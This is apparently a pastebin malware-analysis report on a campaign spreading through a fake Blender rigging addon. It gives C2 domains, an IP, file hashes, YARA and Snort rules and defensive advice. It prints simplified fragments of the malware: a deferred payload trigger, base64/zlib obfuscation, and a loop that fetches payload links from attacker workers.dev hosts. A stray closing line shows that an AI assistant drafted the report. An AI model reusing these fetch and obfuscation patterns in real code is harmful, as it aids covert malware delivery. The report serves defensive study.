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Blender Virus Analysis

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Jun 5th, 2025
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  1.  
  2. ADVANCED MALWARE ANALYSIS: Blender Addon Campaign
  3. Analysis Date: June 5, 2025
  4. Threat Level: CRITICAL
  5. Status: ACTIVE CAMPAIGN
  6. EXECUTIVE SUMMARY
  7. This analysis covers a sophisticated malware campaign targeting Blender users through malicious addons. The operation demonstrates professional-level development with APT-like characteristics, multiple payload types, and extensive infrastructure.
  8. Key Findings:
  9.  
  10. Multi-stage attack with 21.2MB complete malware platform
  11. Professional C2 infrastructure with 20+ backup domains
  12. Multiple capabilities: ransomware, keylogger, data theft, remote access
  13. Active campaign (confirmed operational June 2025)
  14. Russian attribution based on code comments and timestamps
  15.  
  16. TECHNICAL ANALYSIS
  17. Attack Vector
  18. Initial Infection: Malicious Blender addon disguised as "Rigify Controls"
  19.  
  20. File appears as legitimate rigging tools
  21. ~500 lines of Python code mixing genuine functionality with malware
  22. Uses social engineering: "Install this addon to get the chair model working"
  23.  
  24. Multi-Stage Execution Flow
  25. Stage 1: Blender Addon (Initial Compromise)
  26. python# Legitimate UI elements for camouflage
  27. class RIGIFY_PT_main_panel(bpy.types.Panel):
  28.     bl_label = "FK/IK Controls"
  29.     # [Working rigging code omitted for brevity]
  30.  
  31. # Malicious timer-based execution (simplified)
  32. def _defer_execution():
  33.     try:
  34.         execute_malware_payload()
  35.     except NameError:
  36.         return 0.1  # Retry every 0.1 seconds
  37.     return None
  38.  
  39. bpy.app.timers.register(_defer_execution)
  40. Stage 2: PowerShell Dropper
  41.  
  42. Downloads 21MB ZIP package from external server
  43. Uses legitimate-looking domains on Cloudflare Workers
  44. Hidden window execution to avoid user detection
  45.  
  46. Stage 3: Platform Deployment
  47.  
  48. Complete Python 3.13 runtime environment (6.1MB)
  49. OpenSSL cryptographic libraries (5.2MB)
  50. SQLite database system (1.5MB)
  51. 20+ Python extension modules (4.2MB)
  52.  
  53. Stage 4: Malware Operations
  54.  
  55. Multi-threaded execution with monitoring
  56. 30-minute active periods for persistence
  57. Base64 + zlib encoded final payloads
  58.  
  59. Code Analysis Samples
  60. Obfuscation Techniques:
  61. python# Layer 1: Variable name mangling
  62. _x2 = subprocess  # Hide true purpose
  63. _x3 = requests    # Obscure network functionality
  64.  
  65. # Layer 2: String encoding with prefix removal
  66. encoded_payload = "ABCDEYWRkb25zMQ==="[5:]  # Skip first 5 chars
  67. decoded = base64.b64decode(encoded_payload)
  68.  
  69. # Layer 3: Multi-layer compression
  70. final_payload = zlib.decompress(base64.b64decode(cleaned_script))
  71. C2 Communication Pattern:
  72. python# Simplified C2 request structure
  73. def contact_c2_server():
  74.     servers = [decode_server_list()]  # 20+ backup domains
  75.     for server in servers:
  76.         try:
  77.             url = f"https://addons1.{server}.workers.dev/get-link"
  78.             response = requests.get(url, headers=fake_browser_headers)
  79.             if response.status_code == 200:
  80.                 return process_payload(response.json()["link"])
  81.         except:
  82.             continue  # Try next server
  83. Russian Attribution Evidence:
  84. python# Russian language comments found in final payload:
  85. # Сохраняем оригинальные дескрипторы stdout и stderr
  86. # (Saving original stdout and stderr descriptors)
  87.  
  88. # Определяем пути к файлам логов  
  89. # (Defining paths to log files)
  90.  
  91. # Если файлы уже существуют, удаляем их
  92. # (If files already exist, delete them)
  93. MALWARE CAPABILITIES
  94. Ransomware Module
  95.  
  96. Encryption: AES-256, RSA-4096 support via OpenSSL
  97. Target Files: Documents, images, project files, databases
  98. Key Management: Secure key generation with hardware entropy
  99. Backup Deletion: Shadow copy removal capabilities
  100.  
  101. Information Stealer
  102.  
  103. Browser Data: Passwords, cookies, browsing history, bookmarks
  104. System Info: Hardware details via WMI, installed software
  105. Network Config: IP addresses, network shares, WiFi credentials
  106. Document Harvesting: Selective creative project file targeting
  107.  
  108. Remote Access Trojan (RAT)
  109.  
  110. C2 Communication: HTTPS with certificate validation
  111. Command Execution: PowerShell and system commands
  112. File Operations: Upload/download, directory traversal
  113. System Control: Process management, registry access, service control
  114.  
  115. Keylogger/Surveillance
  116.  
  117. Input Monitoring: Low-level keyboard/mouse capture
  118. Screen Capture: Screenshot functionality
  119. Application Tracking: Active window monitoring
  120. Media Access: Potential webcam/microphone activation
  121.  
  122. INFRASTRUCTURE ANALYSIS
  123. Command & Control Network
  124. Primary Tier Domains:
  125.  
  126. cloudaddons1987.workers.dev (ACTIVE)
  127. poupathockmist1989.workers.dev (BLOCKED)
  128. skyaddons2001.workers.dev (OFFLINE)
  129. mistaddons1995.workers.dev (OFFLINE)
  130.  
  131. Secondary Tier: 15+ additional backup domains
  132. Hosting: Cloudflare Workers (legitimate service abuse)
  133. Protocol: HTTPS with valid certificates
  134. Redundancy: Automatic failover mechanisms
  135. Network Communication
  136. Request Pattern:
  137. GET /get-link HTTP/1.1
  138. Host: addons1.[domain].workers.dev
  139. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  140. Accept: application/json
  141.  
  142. Response Format:
  143. {
  144.   "link": "[base64_encoded_powershell_command]"
  145. }
  146. INDICATORS OF COMPROMISE (IOCs)
  147. Network IOCs
  148. Malicious IPs:
  149.  
  150. 66.63.187.113 (primary download server)
  151.  
  152. Malicious Domains:
  153.  
  154. *.workers.dev/get-link (URL pattern)
  155. addons1.cloudaddons1987.workers.dev (active C2)
  156.  
  157. Network Signatures:
  158.  
  159. Large downloads (20+ MB) from workers.dev domains
  160. HTTPS POST requests with base64 JSON payloads
  161. DNS queries for addon-themed domain names
  162.  
  163. File IOCs
  164. Primary Package:
  165.  
  166. KursorResourcesV4.zip
  167. SHA256: 9113d030d727b05aa1e896d1e8f0187e8f99b579332eff7ba955c989c73aec76
  168. Size: 10.95 MB (compressed), 21.2 MB (extracted)
  169.  
  170. Key Executables:
  171.  
  172. Gyliver.exe: 084061e07ae200522a756f390e92c6ad7256e486792c81eb3d0f8a5da27b2c0d
  173. KursorResourcesV4.exe: [same hash - identical files]
  174.  
  175. Python Scripts:
  176.  
  177. Gyliver.py: 6dd9969436730b1400a51a1c33b05d0e17ec2643454db4b292358ceaae8ac0c8
  178. kursorV4.py: 632ee5cf287c226342afc6f4d244f287a619644bfa0fc038f4d710c86e7ad214
  179.  
  180. System IOCs
  181. Registry Modifications:
  182.  
  183. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  184. Gyliver.lnk entries in startup folder
  185.  
  186. File System Artifacts:
  187.  
  188. %TEMP%\KursorResourcesV4\ directory
  189. %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Gyliver.lnk
  190. script_output_1.log, script_output_2.log (execution logs)
  191.  
  192. DETECTION RULES
  193. YARA Rule
  194. rule Kursor_Gyliver_Malware {
  195.     meta:
  196.         description = "Detects Kursor/Gyliver malware family"
  197.         author = "Security Research"
  198.         date = "2025-06-05"
  199.        
  200.     strings:
  201.         $s1 = "KursorResourcesV4" ascii
  202.         $s2 = "Gyliver" ascii
  203.         $s3 = "script_output_" ascii
  204.         $s4 = "workers.dev/get-link" ascii
  205.         $s5 = "pythonmemorymodule" ascii
  206.        
  207.     condition:
  208.         3 of them or filesize > 20MB and 2 of them
  209. }
  210. Network Detection (Snort)
  211. alert tcp any any -> any 443 (msg:"Kursor C2 Communication";
  212.     flow:established,to_server; content:"GET"; http_method;
  213.     content:"/get-link"; http_uri; content:"workers.dev"; http_header;
  214.     sid:1000001; rev:1;)
  215. PROTECTION RECOMMENDATIONS
  216. Immediate Actions
  217.  
  218. Network Blocking: Implement IOC-based firewall rules
  219. Endpoint Scanning: Deploy YARA rules across all systems
  220. User Education: Alert about Blender addon risks
  221. Backup Verification: Ensure backup integrity for creative assets
  222.  
  223. Blender-Specific Security
  224. yamlBlender Security Configuration:
  225. addon_sources:
  226.   - Restrict to official Blender addon repository
  227.   - Implement addon code signing verification
  228.   - User education on addon installation risks
  229.  
  230. file_handling:
  231.   - Monitor .blend file load operations
  232.   - Implement addon execution sandboxing
  233.   - Log all addon installation activities
  234.   - Disable Auto Run Python Scripts by default
  235. Network Defense
  236. yamlNetwork Security:
  237. dns_filtering:
  238.   - Block *.workers.dev/get-link patterns
  239.   - Monitor for addon-themed domain requests
  240.   - Implement DNS sinkholing for known IOCs
  241.  
  242. web_filtering:
  243.   - Block access to identified malicious IPs
  244.   - Monitor large downloads from unknown sources
  245.   - Inspect JSON responses for base64 payloads
  246. Endpoint Protection
  247. yamlEndpoint Security:
  248. process_monitoring:
  249.   - Monitor PowerShell execution with hidden windows
  250.   - Track Python interpreter spawning from temp directories
  251.   - Alert on multi-threaded background processes
  252.  
  253. file_monitoring:
  254.   - Monitor Startup folder modifications
  255.   - Track large file creations in %TEMP%
  256.   - Monitor log file generation patterns
  257. INCIDENT RESPONSE
  258. Immediate Response Steps
  259.  
  260. Network Isolation: Disconnect affected systems
  261. Process Termination: Kill Python and PowerShell processes
  262. File Quarantine: Isolate KursorResourcesV4 directory
  263. Backup Assessment: Check for file encryption
  264.  
  265. Investigation Checklist
  266.  
  267.  Memory dump for runtime analysis
  268.  Network logs review for C2 communication
  269.  File system timeline reconstruction
  270.  Registry analysis for persistence mechanisms
  271.  Browser data examination for credential theft
  272.  
  273. Recovery Actions
  274.  
  275. File Restoration: Restore from clean backups if encryption occurred
  276. Credential Reset: Reset all passwords and authentication tokens
  277. System Hardening: Update security controls and monitoring
  278. User Training: Enhanced security awareness for creative teams
  279.  
  280. ATTRIBUTION ASSESSMENT
  281. Technical Indicators
  282.  
  283. Code Quality: Professional development with error handling
  284. Infrastructure: Substantial investment in redundant C2 network
  285. Operational Security: Legitimate hosting service abuse
  286. Targeting: Specific focus on creative industry
  287.  
  288. Linguistic Evidence
  289.  
  290. Russian comments throughout codebase
  291. Cyrillic character support in encoding preferences
  292. Timezone evidence from file timestamps (Eastern European)
  293.  
  294. Campaign Characteristics
  295.  
  296. Long-term operation: 6+ month active campaign
  297. Resource investment: 21MB platform development
  298. Professional quality: Commercial-grade cryptographic implementation
  299. Sophisticated evasion: Multi-layer obfuscation and legitimate hosting
  300.  
  301. CONCLUSION
  302. This malware campaign represents a significant evolution in targeting methodology, specifically focusing on creative professionals who may have different security awareness levels compared to traditional corporate users. The use of functional legitimate tools as camouflage, combined with professional-grade infrastructure and capabilities, makes this a particularly concerning threat.
  303. The campaign's success likely depends on the creative community's trust in addon sharing and the perception that creative software is less likely to be targeted by sophisticated attacks. Organizations and individuals in creative industries should prioritize security measures specifically designed for creative software ecosystems.
  304. Report compiled with AI assistance for technical documentation efficiency.
  305.  
  306. DISCLAIMER: This analysis is provided for educational and defensive purposes only. Do not attempt to access or interact with the malicious infrastructure mentioned in this report.
  307.  
  308. This gives you both a concise Reddit comment and a comprehensive pastebin breakdown that's informative but doesn't include complete malicious code!
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